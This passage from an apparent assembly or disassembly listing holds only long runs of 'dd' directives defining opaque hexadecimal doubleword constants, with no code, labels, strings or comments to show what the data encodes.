0A17FBE96h, 1497D09h dd 8184F021h, 0D2542995h, 0B77066B8h, 0FCB23491h, 0D74B7548h dd 291156D2h, 23911302h, 0A23AE902h, 5D194D0Bh, 0FC0B1373h dd 18648429h, 1E883BBDh, 0A57C5299h, 60FE1842h, 282E0E7Ch dd 587D9589h, 21259E2Bh, 720819E5h, 86372F0Eh, 2B95A000h dd 2860889h, 0B5310756h, 8744040Dh, 0E28DA881h, 4D5A185Eh dd 80086055h, 8E31B88Dh, 4A23F43Bh, 40653660h, 8E2B91Dh dd 0D86CA2B7h, 27FE5CF9h, 0A3C150EDh, 6E2EFC9Eh, 41840778h dd 0B8779BFFh, 0D94F7709h, 0FF8EB441h, 316990C8h, 2B7A7102h dd 0B66E6BD2h, 3B8A6E00h, 664787CFh, 0BC43B697h, 7814D475h dd 2ABDEF9Ah, 1297C0DFh, 9AD1571Bh, 95C48990h, 0B969D47Dh dd 8C1BAC01h, 0F009151Ch, 448FF142h, 6AFD5C8Dh, 0B8329287h dd 5BBBCD6h, 41BCBEF4h, 0C060DBF8h, 388FB541h, 1CBF042Eh dd 0B816AA0Eh, 0F35FA2E0h, 0F8E4D879h, 0A2F3F604h, 0B9C4ECA5h dd 3C5589FDh, 0BCA1BD2Fh, 0D62D0055h, 665163A3h, 0B3252FBBh dd 22BE65Bh, 0FFF9BF0Fh, 0E35CF8E1h, 5710F151h, 206CB81h dd 5F4A5E97h, 0B5E1090Eh, 0C6714EEDh, 842D1B48h, 0C6B81B53h dd 982CA8E2h, 0EE1350A7h, 602E405Dh, 96A010B7h, 87570074h dd 36F8A49Fh, 0B29FAB85h, 2FAA56B4h, 0EA008937h, 90490A8Dh dd 0B5170A9Ah, 873EA885h, 0D0F2DFF6h, 9675B1F1h, 0EAEB131Fh dd 0B8C65AC0h, 97FC5F61h, 0CF82BA09h, 9E5C1A79h, 0BE34B464h dd 2CF066A3h, 0A209180Fh, 84C77A8Ch, 0CC5469C2h, 95BD925h dd 40C24DADh, 37854AC9h, 83F210BDh, 7BD10330h, 3425DC14h dd 0A50AF1F8h, 2F98458h, 5A29CFBBh, 69D25C7Fh, 60856D7Dh dd 6D335417h, 8800F7E2h, 0BA81267h, 0B52161BDh, 3F8D219h dd 0FFE1E1BFh, 49C5D4FEh, 8D704973h, 8998098Ah, 0D55E038Fh dd 95F84C4Ch, 0C3265D65h, 87517709h, 532DF936h, 0E02FC82Bh dd 2A820200h, 0A4C0589Ch, 7279027Bh, 5491DAF5h, 0BF459855h dd 25B3E6EEh, 11CD587Ch, 0FDD378C7h, 5F63B840h, 54EEEF4Bh dd 8CCD6E10h, 815BC00Bh, 6FBEE704h, 50BD6023h, 58C1BACh dd 0BFADB8Ch, 0DAD1C2A8h, 4C728789h, 0D43DB5h, 8687A832h dd 189D8F0Fh, 802835A2h, 24A26E9h, 0BB3630FEh, 0C6091495h dd 0D5EEDF42h, 0E067DB80h, 9297D509h, 0E8535D41h, 13CB170h dd 8C4B4752h, 50EEE72Dh, 271A193Dh, 42ED0F00h, 379D5BB4h dd 10D1282h, 1CAE23Dh, 0FDC48519h, 8A2EA880h, 5B685037h dd 77688997h, 8E4011CFh, 0A38FDECh, 9745CD2Ch, 0E4678040h dd 9220841Bh, 0CD578A00h, 5DF18ECEh, 0DBC059ADh, 0C4B50184h dd 5FDBC275h, 0ED49A35Eh, 0AD56E024h, 0B51283CBh, 0A2886479h dd 9FA50B27h, 78645AF2h, 80D4AC02h, 575FE6D9h, 1A91D0B5h dd 252CD083h, 0CAF063E8h, 0EB9AB095h, 153918A6h, 9D8BFA7Fh dd 0B212FD4Ah, 0D781A060h, 4BABE69Fh, 80E3C06Eh, 439A65E3h dd 5D8B0F24h, 6514Bh, 89407533h, 4E00C847h, 870A0B2Ch dd 9344558h, 5BFDE565h, 8B605E80h, 5A4C53D1h, 2434805Fh dd 32C7DBBFh, 11941A43h, 975C9FEAh, 89703769h, 0F25E32Ch dd 0D2A260h, 53A0A997h, 0A357A6Ah, 0ECD01A98h, 1DBD04BEh dd 6861001Bh, 3BC0AF45h, 8409BFD8h, 0A9785B31h, 5E54BA09h dd 0E5D18227h, 5AA95E29h, 0F6507AFBh, 3A9D0B84h, 690196B7h dd 351CB350h, 510420EFh, 7CCB164Bh, 17B8374Ch, 977008Ch dd 0D88A9F82h, 45915761h, 3FE4CB81h, 0E16011DEh, 5B1C40CDh dd 69CB5F4Bh, 3402CA4Ah, 0CFF91B45h, 0E94A62B8h, 9BB816FFh dd 7C548034h, 9A4EFCEh, 0C210EA88h, 1D70879h, 3C1812BFh dd 7EA9234Bh, 0A59C2D00h, 31CA7726h, 24843C8Fh, 0F5A9F282h dd 1FF0E34Fh, 9D5F0140h, 25D6775Eh, 15E5D409h, 0D5042B09h dd 0CEE5F34Dh, 0C0DC8502h, 0A5B2D0F8h, 55FA9A15h, 0C97957h dd 9263C781h, 6D95175Ah, 60196459h, 0B85467DAh, 0CD334B5Dh dd 0E76E3A38h, 867A6504h dd 16EEF830h, 0F7E3AB5h, 87DB170Eh, 18016E80h, 3A12B2BFh dd 54F31FF2h, 8019DB5Ah, 95F7D04Bh, 68C04CA8h, 901FD512h dd 0AEBB6621h, 4B912BE3h, 3DB8810Fh, 0CA07BF1Dh, 0DCBD0112h dd 46071846h, 4B4C47CDh, 1A97F4F0h, 7594C096h, 0F7959718h dd 9ACCF1C0h, 2671254Bh, 0F2688FEDh, 0A58BA6E0h, 8C8B977Bh dd 0CDD80E73h, 0B213120Fh, 0AC44E91Eh, 87008C1Ch, 8C29AA18h dd 1C767B8Bh, 0E4DB80DEh, 0F1F912ADh, 0F0043689h, 4A7E0AF0h dd 0E9F2ACh, 0DE717391h, 4BC9A193h, 0B6B0C54Eh, 30C8E038h dd 62D72580h, 18598FD3h, 0CE0E7E18h, 0F71BB639h, 821915B0h dd 448D2AC1h, 0E3895226h, 0FB6E4EEFh, 0B8765D00h, 0D952951h dd 25E5749Dh, 0EF4009EFh, 1AAC45Ch, 8947FF1Dh, 2F2555B5h dd 22F61674h, 1D399D0Bh, 71BEBBEEh, 0E1B50F0Bh, 0E522D85Fh dd 5E068711h, 5E159FC2h, 1A46DE46h, 6DD56B07h, 0BC1E722Fh dd 0FD51D160h, 0EA6E2C25h, 3AF35FCCh, 32023678h, 0F8CA0888h dd 1D51E85Eh, 89519611h, 0D1505FEFh, 48A70031h, 868D2E1Fh dd 0D30A417Ch, 939612D2h, 80212BBFh, 0D9F3F512h, 1CF2461h dd 29AD0589h, 990952F8h, 5F9D0BCFh, 0DB5C31E2h, 4D640167h dd 0DAB87FD4h, 802145A2h, 742F46DFh, 2B6ABEB2h, 0B5673109h dd 0BCFABC84h, 13E911ACh, 737B7603h, 0C7F8C543h, 0A44B6EDCh dd 0B81774BBh, 6AFAF4B6h, 0A542003Bh, 53946ECCh, 1610071Eh dd 1FE9EB80h, 12FFF2C7h, 0FB77880Fh, 4FA28061h, 3D731DD6h dd 0CF2CFA74h, 6F002429h, 2D585FBAh, 0C18B251Bh, 0C709153h dd 4FF7E14h, 0C06B5ED7h, 4BABBD78h, 7C6FABh, 0CBD6C508h dd 5E78152h, 6BB54097h, 1CFF290h, 11271CA8h, 0D72164EDh dd 28692AC2h, 0D1845FDh, 0B0B3D0D7h, 1FA5339h, 4D5F5564h dd 982BE515h, 8101907Ah, 9D53EDCBh, 0E1CC2311h, 6065A020h dd 64414CB0h, 0B2018D16h, 8531046Ah, 5DB425DDh, 0EBB73FC1h dd 389D299Fh, 0C43FEF4Eh, 80001B23h, 13BD1810h, 39CD3D78h dd 0EB79BB02h, 58D03F4Dh, 2CE16FADh, 3CA625B9h, 4100DEA6h dd 2F4857DFh, 4B69D2E8h, 4801E37Ch, 0E5990B6Fh, 844B42A8h dd 0A2BDF157h, 80EFDAD3h, 3BB3CCD8h, 139E3C76h, 0E9E26F92h dd 8C19AC62h, 99FA3100h, 0F2C75A7h, 0A3C19FB7h, 269E3965h dd 0EB0472D1h, 88BC4CE5h, 3D5584A2h, 0A603h, 76BCF434h dd 6009026Ah, 205D852Bh, 70ECBB29h, 614D1598h, 9B5EF850h dd 62228EF2h, 0FCADE0EBh, 36BD0419h, 1C6BBA1Ch, 5C031B23h dd 0E8E79384h, 122987D1h, 0F382E9F9h, 0B7CB8462h, 12830F05h dd 0FB01233h, 7891815Fh, 0DB25DFEAh, 935FEE15h, 0F4EF5827h dd 0C6F10909h, 2517950h, 938DBB66h, 0FF25335Eh, 5080F83Dh dd 53937064h, 0D8D304EFh, 94A59D2Bh, 933DB91Dh, 742E5AA1h dd 0B96B3Fh, 89A91EAAh, 0F5976F6Eh, 0B380D268h, 17227A79h dd 45C40D01h, 0DA5571F8h, 0BDB07CCh, 0B9B50360h, 0CB1FF6C4h dd 63245F61h, 52150211h, 0F600295Eh, 6D881DDDh, 5600A724h dd 530C9B36h, 12EE39D6h, 5275958Bh, 4EDCBC86h, 3F896EAFh dd 127BB56h, 20D9D2B8h, 27703011h, 0DE245E49h, 0B08284AFh dd 0A51087F8h, 9D984B01h, 860F8829h, 4ED30356h, 252E98B0h dd 0DCC6B067h, 3A7FF101h, 70E60A11h, 4580A30h, 0E425EFDEh dd 0C961AF71h, 0BFA50D85h, 17F194C9h, 93BDB764h, 0BC7FD684h dd 0E3E64F8Eh, 2CA3E00h, 7CD6BC54h, 6BFB7002h, 0C2E1362Ch dd 0FC7F63DBh, 95FD8A47h, 23F3E8h, 879237ADh, 79A6890h dd 34913AFFh, 0E7A6B2D1h, 0F035AB5Eh, 0AA8A5B1Bh, 11A45EDFh dd 89C90007h, 0FA65234Eh, 0CF90F875h, 7BA3BF19h, 0A4D522BDh dd 2F00883Dh, 53EB7AA8h, 0B48B87h, 0B64A10A2h, 6BD5F1F6h dd 0D24E7617h, 9391CD12h, 0C02FC380h, 896007C9h, 31AD9516h dd 409904B4h, 22D3612Ch, 0F680C200h, 5BB531C1h, 0B9D5D409h dd 0E11729A1h, 9EF2DF92h, 81B24Fh, 1AB004CDh, 360EA78h dd 8B75A2E3h, 34BFF8Dh, 881CA088h, 78258B7h, 4196FE11h dd 0B06183A8h, 972E5DBDh, 0C7209E94h, 16BB0234h, 6A3C90A4h dd 0FEDEB856h, 0A951249h, 4A94F761h, 0D303166Ah, 0B96156E8h dd 5B7710C2h, 0F3D78B1h, 4BE0034Dh, 0A6EFA584h, 0E8C5B782h dd 82DBED01h, 6C39FC61h, 0CF869B9h, 96C02B6Dh, 9D2EAFEh dd 2765BD0Bh, 5CFAAC5Eh, 5300D4BEh, 27EEB391h, 2C4E7183h dd 92D8CDBh, 42006B0Fh, 53A5BFFEh, 0E4024925h, 60639C76h dd 517824BFh, 59604525h, 12FDA5F8h, 40A25484h, 0AC72869Ch dd 20BB1E00h, 6C841723h, 88D54BE1h, 0D601402Ch, 2F53D318h dd 97CCFD8Dh, 0C5670201h, 1607866Bh, 7D5CD462h, 252BD869h dd 7CE51A53h, 2FFB7469h, 4F002EB7h, 0F7B62DB5h, 0F0232A2Bh dd 7A149792h, 7AEF634Bh, 0AA070214h, 60CF4C7Eh, 970C4DC1h dd 76078B2h, 0EEB50E91h, 418CD21Eh, 0FFE04BC6h, 336E3AE1h dd 0C27EC807h, 5D7A21B5h, 7E282F28h, 405EB26h, 0AF29B54Dh dd 0F72E3C38h, 0E5C0835Eh, 0DDA9AA98h, 45909497h, 9C083FCBh dd 9B601206h, 0DFF4809Dh, 0B944E60h, 0D9850973h, 9D5C2742h dd 5C28C225h, 727B2564h, 1EFC770h, 14127BA7h, 252E50D5h dd 85482EEDh, 67DF69B6h, 0FC1EE0DBh, 0DC16F62Bh, 4EE2538Fh dd 0FFF22200h, 0FB213702h, 0AE268A00h, 0ABBB60A5h, 4F501C41h dd 0E5535C5Bh, 0A18D96EEh, 57912F60h, 3264259Ah, 35977FEEh dd 5C8B0EBDh, 0BE9B6A2h, 0CF711220h, 112B005Dh, 6A935929h dd 0B77D903Ah, 0D6BB5003h, 0CC0C1478h, 0F8B935A9h, 125C850Fh dd 1E4AA05Dh, 483D00C9h, 0FD197215h, 305EF43h, 6AFB8B88h dd 0C6BD9EFDh, 9D86227Fh, 68BCC94Dh, 531B2370h, 3000E26Fh dd 0AE31BB95h, 0ED02703Eh, 5C7F438Dh, 0B780575Fh, 6F04F83Ch dd 1DCFB94h, 2D6759A5h, 2F8AE520h, 0F56D8529h, 48E409A8h dd 0F20AB09h, 5546D588h, 4B077520h, 608ECC5Bh, 0C1F49ABDh dd 0C52E114Ah, 0BB58C8B0h, 0B2839207h, 40B261AEh, 0F4A8D602h dd 0F2E6B309h, 0BC8778FBh, 0E4E0F6DAh, 0A971204h, 84C17D6Bh dd 810513E1h, 2B2A21A7h, 0C26BCFDDh, 70091D81h, 0F6ABBC29h dd 64014202h, 57F5AE53h, 1B91E2B5h, 0ADF43380h, 0AB12A2F1h dd 0ADB83832h, 0AED10334h, 0F4D7ED02h, 0CB5432FBh, 688806DCh dd 0E20FA3E2h, 0E2E5D725h, 0E0804D2Bh, 0E2E4E5Ah, 41A52325h dd 96012771h, 87C02EB3h, 798F773Fh, 6031AD49h, 0A0EA385Bh dd 5E8E0A24h, 7B2BC109h, 0BD018748h, 0F25E3B19h, 9CFBB70h dd 505231D1h, 0FEEAC180h, 0DBBC5842h, 615BF207h, 4F0F7D4Ch dd 2A23208Fh, 547FCCFEh, 0DF6989B6h, 0A4BD0360h, 597F6600h dd 0EC11C499h, 719309AEh, 1F129FFEh, 0CCAD02DDh, 53717508h dd 0B76B7925h, 159FBE04h, 48623D84h, 655E191Ah, 0AA320055h dd 11A0377Bh, 90F8F0C2h, 2E9AD550h, 5B618B03h, 0E0E4A6E5h dd 24E7A5Dh, 4293718Eh, 0AD6002EAh, 0CDB72749h, 601AE40Fh dd 0B2F574Ch, 389E0DA1h, 61DADF00h, 0CC27B351h, 26465Bh dd 84301028h, 0BE4B4927h, 4002DA7Dh, 0A9850B86h, 85E2911h dd 0D42D547Ah, 0B21CE51Fh, 0F78B8689h, 8D29BC48h, 712BFD25h dd 92DC7CDh, 0F43DDCh, 18521FDCh, 0E95FE58Fh, 11F2160h dd 950AF58Dh, 0B77CBBE7h, 3141C66Dh, 202BB9A5h, 0C42C4192h dd 0CCCF7A05h, 0B5A9F918h, 0B10083B8h, 90FEC8D7h, 51071AF9h dd 0CF31E9FAh, 85112C6Ah dd 53041F25h, 59B1D07Ch, 44168B2Ch, 0C7F31102h, 225E78F0h dd 0F1FA1935h, 23522242h, 2E73DF8Dh, 2EAAFAC1h, 2B9D302Ah dd 34A559Dh, 204AEFF7h, 7EE667F3h, 0F2915003h, 886B980Ch dd 9439FBCh, 0EBB9FA51h, 3D9F0878h, 0C50D9FA2h, 90560384h dd 5F6F2D60h, 23AB9897h, 90855EBDh, 5096DEA4h, 3BBB90BFh dd 0AB31012Eh, 0B139639Bh, 38F6878Dh, 5E341FC2h, 8CB2EAh dd 0AACAD6A2h, 366CE3h, 0E5AF4421h, 0C70BA7BFh, 0C9B25F4Bh dd 0C2EA8201h, 0CB2E1EE9h, 96FA61EBh, 0DCF05Eh, 0DF2BF3B5h dd 0BB66F511h, 968A9B4Eh, 3E516A5Eh, 66BC8009h, 913BE487h dd 813701CBh, 5AA7B4F3h, 0E1342F7Ch, 4E9851E8h, 2200E3E0h dd 2DE624A6h, 24B97E9h, 5DF7FBCh, 83613119h, 0B25B020Ah dd 106976F0h, 0DA8A1215h, 6A4BDFF7h, 179101D5h, 0B4559372h dd 822AF9F9h, 7109290Dh, 96CDA5E9h, 0DEB363CFh, 115616BDh dd 0F2EFF62Fh, 71653114h, 0A7292124h, 81925944h, 0EB61D3BFh dd 0F1132F01h, 2BE0EFA6h, 0D49D0913h, 0AB0B932Eh, 0EEB82AD4h dd 6133B14Eh, 6E0AF5FFh, 9A5A66CBh, 0C7CA8FCEh, 0E10898Ah dd 254DD244h, 0B7948C0Fh, 0EF7983Fh, 76D876BDh, 352E4D8Dh dd 0D5B930E2h, 0C5003246h, 2708D48h, 0EEF4D072h, 0FBDC09A2h dd 0D378C8B7h, 0D7F7F54Ah, 1A46DE25h, 7650FCA1h, 9BB3EBCh dd 7821B133h, 276790A8h, 9A7D1A85h, 9422F7EDh, 3192B99Ah dd 2C172046h, 87B865E6h, 7773EFB0h, 0E65BF525h, 0F781029Ch dd 2C82DD98h, 3851805Eh, 0C02A9E6Bh, 0D4FBFFDh, 219D3833h dd 82F68841h, 45FA709h, 0F213D86Fh, 1DA4EC7h, 60C116C8h dd 352F9979h, 766EEEB8h, 9D629300h, 58BD2778h, 8E997B5Bh dd 822BF1E8h, 0BDE0257h, 125E9399h, 0F708E122h, 3EDB4AC9h dd 0A587DD82h, 2151E15Eh, 0DF5EF812h, 0AAF969h, 29C7C2D0h dd 0D3028167h, 788268B1h, 24CF5E5Bh, 95D2791h, 0E9BD714Ch dd 1A40D0CDh, 1E03379h, 0FE8B9965h, 0C4C991BBh, 844BE96Ah dd 0E7EEBEC4h, 0D6F6020Ah, 5EF8C18Bh, 79026989h, 90001AD9h dd 3B50F98Ah, 6A2792B7h, 0A87869DBh, 0AA5E3134h, 0DCE57C76h dd 0BD788B2Fh, 6BB65E9Dh, 0F989AC35h, 69FB8087h, 18712079h dd 0D38A136Dh, 0EB4FC850h, 1FE942C5h, 95810F12h, 21F2E6h dd 0BA61ADA4h, 24EC1351h, 7661C083h, 0A32E1446h, 165508B2h dd 34E91025h, 0B80907EDh, 0B0C1AE4Ah, 1D6C4072h, 50567ECh dd 50A476D1h, 821654F8h, 2F1E91Eh, 1254C781h, 767662E2h dd 3A13DE71h, 0CCFA2970h, 0A4BF9DD6h, 0F6FF6A5Bh, 0DFBBE1CCh dd 8BD9CC6Eh, 0A0CDFA4Bh, 2418E042h, 0EA253h, 0B4F84249h dd 2FAC39h, 0B2FFE26Ch, 208FAD52h, 5FFCB712h, 32B499F6h dd 7AC09D4Fh, 725D780h, 8A02435Bh, 0DC03F6D1h, 898D8301h dd 0AE9BC86Ah, 8786306Fh, 0D2F80BDAh, 0D6D7092Dh, 0B46800D7h dd 0B05777A9h, 0C32D80F4h, 6424D94Ch, 38885247h, 19371B0h dd 6E242E04h, 6B026A1Ch, 8E56896Eh, 0DF47A04Bh, 0AC756F8h dd 74AB5BDEh, 120453CCh, 0D88E9DAh, 5AB18FBCh, 34BF00C8h dd 329025F4h, 8BB380EEh, 4E314C58h, 0F49F52B5h, 0BF126621h dd 80F68408h, 0A9EB8009h, 601A5A7Bh, 57A0C2D2h, 1B919B35h dd 0FA384B80h, 6E0526CAh, 0FF6A518Eh, 0C9C2209Bh, 4AC09A19h dd 0B5880369h, 0DE6AE995h, 1488010h, 4B114632h, 0D913D8FEh dd 9B029D3h, 7AB0812Ah, 10B7392h, 0C5BD2960h, 8AF5522Eh dd 4D6487F6h, 0D46B06E5h, 0C99C8102h, 0F322F21h, 68D92FA5h dd 0B64B800Ah, 0AEF780C8h, 6EE69FBAh, 8C2A6558h, 0D2918AC1h dd 89FB9FFh, 6919C5BDh, 5215E340h, 9C82B06h, 95BD4185h dd 5666F984h, 4FAF20Bh, 29801C0h, 0D18102D8h, 1364D23Ah dd 71BC95Ch, 0C1B98406h, 56901022h, 2B5F27A1h, 426D61D8h dd 0A9D34A24h, 0D45DE323h, 1F6062AFh, 69DA0229h, 0CAC25CE3h dd 2007A6A5h, 9D290952h, 0C37128ADh, 0B450C42h, 0F9F20F0Eh dd 0D3B64EF0h, 48D9AAF0h, 2BA81102h, 7F048D9Dh, 0CB809FF1h dd 4E6BCDA2h, 0C29A046Dh, 0B89763B9h, 29FDD0DAh, 9D0CBD31h dd 2EB90D55h, 45C7103Dh, 0AC5ED415h, 546E4EACh, 6A31BF00h dd 7A279F80h, 8BF6C013h, 8FFC4F09h, 8AB2B2DCh, 62E38100h dd 0BA1D6FFAh, 15BF0BA0h, 63E24712h, 0ECD69CE3h, 0DA278034h dd 0EDCAABh, 0C3E5CB4Fh, 353B0884h, 835E7F00h, 6ADED69Eh dd 95031360h, 5F1BDDDh, 5B61C68Bh, 1488438Eh, 0B5254CBh dd 435E2005h, 71DA8BC2h, 5B518929h, 81817A71h, 6F9C69C3h dd 0CDC555E2h, 42196DE9h, 0AD803983h, 160E1885h, 2F78E1BFh dd 93CDE32Ah, 0E60884FFh, 0DD72E03Bh, 955403E1h, 9BFB40F7h dd 0F189F9DAh, 0F664D6h, 0C96F809Ah, 343A48DCh, 31F4A007h dd 73192195h, 92AA6A0h, 5F098963h, 0FF8C9274h, 4AA5F6E1h dd 0E2ACB801h, 76F37F91h, 6D2591A8h, 128CC725h, 125FE293h dd 2BC2BFDh, 8B104AE2h, 816001FBh, 530AD7E2h, 25A29C3Dh dd 7B1FDD27h, 7B811411h, 0A4A19D31h, 0F60954EBh, 957C7078h dd 430476B7h, 0E2FE79FEh, 5E71485Dh, 0C07ECAF5h, 47423D6Eh dd 8CA93D97h, 0C6E0AB95h, 0EED2B709h, 4DA672B0h, 0DB5AA79Eh dd 4E4F83DDh, 21B210C9h, 4F644C09h, 0DD8417FAh, 0B89A2E7Dh dd 82E01984h, 0B9ABF13Eh, 9DC1E756h, 0AB07211Dh, 5044FCD6h dd 0E8B244FAh, 41881338h, 0A57704B7h, 0AE63BCAFh, 0E2FFFE24h dd 99B71AEEh, 0E152CDACh, 3FC61C39h, 7682700h, 86D14CCh dd 880F5660h, 925E27B8h, 16D079h, 0D0A59EF0h, 26165CC1h dd 56326226h, 0F7C84113h, 0F81C00CBh, 707840FEh, 0FB0967C7h dd 5726C680h, 0CFF8F610h, 0ED6D0B2Dh, 61D2C038h, 0FE02AEF1h dd 0FD8AC03Eh, 608EB051h, 0A25F4A61h, 2CEA8A0h, 0F862546h dd 0F3771380h, 17440000h, 0A2C1DEAFh, 0A3735B00h, 0E71FD7EEh dd 0B6895A30h, 3016A2BCh, 1C12D69Ch, 7C537EE9h, 1860426Fh dd 0EFBC9BCFh, 56F6275Ah, 0DD301AB2h, 13987113h, 0E04353E7h dd 0B6126D8Ch, 89E361CFh, 0FB33BB02h, 885C3AECh, 0DE25FE4Bh dd 0BC001074h, 78506FD1h, 83430E0h, 2F3D9D0Bh, 0D5D86019h dd 9512DF72h, 61C349ADh, 0BB80A071h, 6724378Dh, 6FDA156h dd 0D81C0D2h, 35312733h, 0DBA0984Ch, 568204A1h, 8CD2463h dd 96132171h, 0B580E7A8h, 0B2E37094h, 8200CE7Dh, 0ADBB50C3h dd 48109109h, 9F721F96h, 0A1E4F7B8h, 0A4023472h, 53C924Ah dd 693C5CD8h, 0D47057F3h, 0EEF84ED1h, 60D8B860h, 0E48D4A0Bh dd 3003BBB8h, 611613C8h, 8803D368h, 12D3BFAEh, 0B82BD0C9h dd 1CDF387Fh, 366521Ch, 9DCFB160h, 0D6760003h, 431AFD46h dd 0B70BED62h, 7C39C23h, 5B77A535h, 0A0307119h, 8228E2A7h dd 588C8277h, 4757A6Eh, 8C1197CBh, 0BBDA9869h, 0AA18A004h dd 48BD614Ch, 87008AB8h, 64A174D8h, 91CC28F3h, 830780DFh dd 0BEA34391h, 521A6200h, 0D7734F85h, 0E396954Ah, 958AFC4Ah dd 9B4B564Ah, 38F5829Eh, 22EE174h, 0E9078115h, 0F97B6E56h dd 0E270AD00h, 3898B35Bh, 34C8815Eh, 95EE93h, 0F8BAFE12h dd 0BEF3327Ch, 4702EDE6h, 0CF85D22Ch, 75F15621h, 2DB002C9h dd 0FB6F5502h, 56730242h, 0DB051BEh, 5EA80269h, 7D8812B5h dd 0CC80E6F9h, 3767534Bh, 18E29F6Ch, 225B5749h, 446EC92Bh dd 12DF5E0Fh, 130A7E74h, 0BAB290E2h, 0E691DC02h, 3A572570h dd 61526D96h, 2AFAA5A8h dd 75ABF734h, 0A059A66Ch, 0EE7C7F0h, 50F88B96h, 0E307E693h dd 748F89A1h, 19889F5Bh, 48BBC6C1h, 903772D4h, 12A14A3Bh dd 495A379h, 3B9B529h, 0BB7670AEh, 0C5A16B6h, 7F48E9E6h dd 0B5DC7812h, 96DE2F56h, 6486B680h, 0AC01DA5Eh, 37CDBFC6h dd 742B78D1h, 916AAB58h, 71CDA005h, 4A92A810h, 9D094D80h dd 0C92A4AEDh, 0E06E2A2Ah, 635F0B00h, 0C8A9CF9Dh, 4441F095h dd 312D5108h, 4A73F285h, 6E52DD5Fh, 17D286Ah, 89F8D8CBh dd 2A28298Dh, 7E69B6F7h, 0FCDE96B1h, 0C69EDD95h, 0DE10D6A5h dd 353CA202h, 7D8977CAh, 0FE022C12h, 4C4C4EC6h, 0CB804A99h dd 265CF1DFh, 101A0358h, 765AA1D2h, 86FC72DAh, 2E1446D6h dd 51145A2h, 0F563BF01h, 50504E77h, 4791541h, 3DC8AC00h dd 5B6D49B1h, 91F212B4h, 391AB1BCh, 0B2B801h, 2167AD7Ah dd 0FACB3E8Bh, 0DE99B11h, 0CDA16F00h, 0C5AD80E8h, 0BFD47902h dd 0DCA0AC1Ch, 0B6191203h, 25C61DD0h, 59637B84h, 0B863AD64h dd 0DFF7169Ah, 819D308Dh, 0BE12C0C7h, 7FB93743h, 0C466BD2h dd 861BC754h, 2C9D27BDh, 7800D0DBh, 0DC67D2A6h, 0BD37058Eh dd 813B6628h, 0D057D12h, 3519632Bh, 2D9EBB84h, 267DAC80h dd 94E0E2DFh, 96FC1D04h, 0B8C5A7B3h, 23040FB3h, 0AF2C51BDh dd 56F93172h, 707EEBF9h, 0C7D300D4h, 0A9697910h, 0CA5BE0D2h dd 291722E7h, 92E6F814h, 233E6BAFh, 0CA53001Ch, 6DCBB785h dd 0CFFFD512h, 8788F2B2h, 0B513299Fh, 0C6F8E956h, 0B0C0DD8Eh dd 8CD0FA7Eh, 40FCF7E1h, 0FDDE7328h, 0FD1095A2h, 0A800D13Fh dd 5A47FB3Ch, 84391Ch, 0BB26119Eh, 7A4EEEE8h, 7B5F5B25h dd 59E8A306h, 0EA9F41CDh, 0D4E6C4BDh, 0FBC6FC25h, 13F6D0AEh dd 0D4284B1Fh, 0FB5F9304h, 0B6F458B8h, 3C6AA0A9h, 0E92F16BDh dd 49BDBC4Ch, 12E4BCEBh, 17732F19h, 0B75590AAh, 0C14F8BB2h dd 0D709896Eh, 0D71E0A9h, 88451400h, 25D96825h, 95C6F5BEh dd 1281663Ah, 5AA4C65Eh, 5975FE09h, 19A81A2Fh, 92FC038Ch dd 7BBD70EEh, 27DB6405h, 0B4E96AACh, 61090DBCh, 0D4801F1Ah dd 611510F3h, 0EBD7B6CAh, 9EFE852Bh, 6ECD808Dh, 40F2C82Bh dd 1740915Dh, 2560FE50h, 5874EF8Ah, 25F7CE4Ch, 0E574CE93h dd 0C1BB18F4h, 0D7813CF5h, 8BAC6F09h, 0A43B7158h, 2B453F1Bh dd 1B23236Bh, 4C90EB00h, 2C43CAD9h, 2DE7452h, 0D1FFAEC2h dd 8EB755h, 0B29091DEh, 1A12C7EDh, 0CE2FC05h, 0D85CA189h dd 0EB5900F6h, 6CEF46A8h, 25F6AFCh, 0B787E9DBh, 0FA34F11Ch dd 8096050h, 292418Ah, 50DA8B11h, 59D0BEFh, 542CA6B6h dd 0DE027C69h, 9C054495h, 294D403Ch, 8C00478Dh, 3B71A669h dd 0A284E6Ch, 0B84F44C1h, 974104CEh, 519C905Fh, 0A25E987h dd 9266C50Fh, 7A7F13C0h, 3E007024h, 6978EFD2h, 0B71FB27Ah dd 2BF21311h, 0E40188E6h, 8B7ED9A8h, 986B2EFBh, 1001923h dd 0F42AAAFBh, 0FFD1951Ah, 9410AC80h, 155F2Dh, 0C10BD93Fh dd 79D69345h, 18418712h, 4A9CABF8h, 40ACE952h, 3A32EDBFh dd 2AAFBCA0h, 76388701h, 0ED5926Dh, 20D5B22Fh, 0DB905BFAh dd 0CAE78014h, 1F565C01h, 0E5B5890Dh, 0F159A289h, 90B777ADh dd 0BA4ABC01h, 0A9F8BF6Ch, 9EB15C87h, 7B186110h, 0D62536FAh dd 161DEC5Bh, 5261B509h, 241EE3FDh, 19257160h, 8DE5C708h dd 0B8D22D78h, 0B6E4A25h, 495F3107h, 9074EB13h, 0B5830618h dd 9E1D5F15h, 57CF80ADh, 44E898B8h, 0B177DA0Ah, 82317438h dd 370CBF44h, 0C21E5E5Fh, 8209012Dh, 61A91A3h, 9097E6B0h dd 3E9AC34Bh, 358D1338h, 44B8FE19h, 9319B829h, 1CFEDACh dd 0AF2E6DE5h, 6510D759h, 64255EFEh, 0F38045F2h, 0C8B6AF06h dd 29752556h, 70C92974h, 74B82C0Bh, 181025ECh, 0A3035E1Fh dd 52109AEBh, 2E2FB8F3h, 0BBDB021Dh, 481E96D8h, 0DA37355Eh dd 35BC0754h, 958ABFC5h, 0D184305Dh, 330084FCh, 48D3DF9Dh dd 1EE5B6DBh, 0C4736BC0h, 81D18B42h, 1159D5Dh, 9C28FE9h dd 1F997D82h, 0E4FF8B04h, 0EB048138h, 48F0F538h, 0BC4A47BCh dd 85A0D668h, 1CD120BDh, 0F91222DCh, 0A81956F4h, 0C305B52Fh dd 0DFCB81C1h, 0B550E989h, 0F5A62C21h, 205F8D4Bh, 62126485h dd 5FF256D9h, 605C3222h, 2BC3C077h, 0E2135E8Fh, 0B58B1276h dd 61F2F045h, 146FB397h, 74958964h, 28DAFF41h, 919F09AEh dd 4908727Bh, 0AACC3555h, 9D6A85E0h, 63F1A498h, 2F1FCF01h dd 35496959h, 26C998C7h, 1AC816E3h, 0EDED04A0h, 0F2021213h dd 0D72961BBh, 1991CBB5h, 0B9CC1E80h, 0AE30A485h, 0D0465850h dd 70CBF45Bh, 40ED970Fh, 80B2E8E9h, 2BC16C0h, 5069A6C6h dd 0F1822A77h, 0D7D50709h, 105E07CCh, 50218AACh, 0FB18297h dd 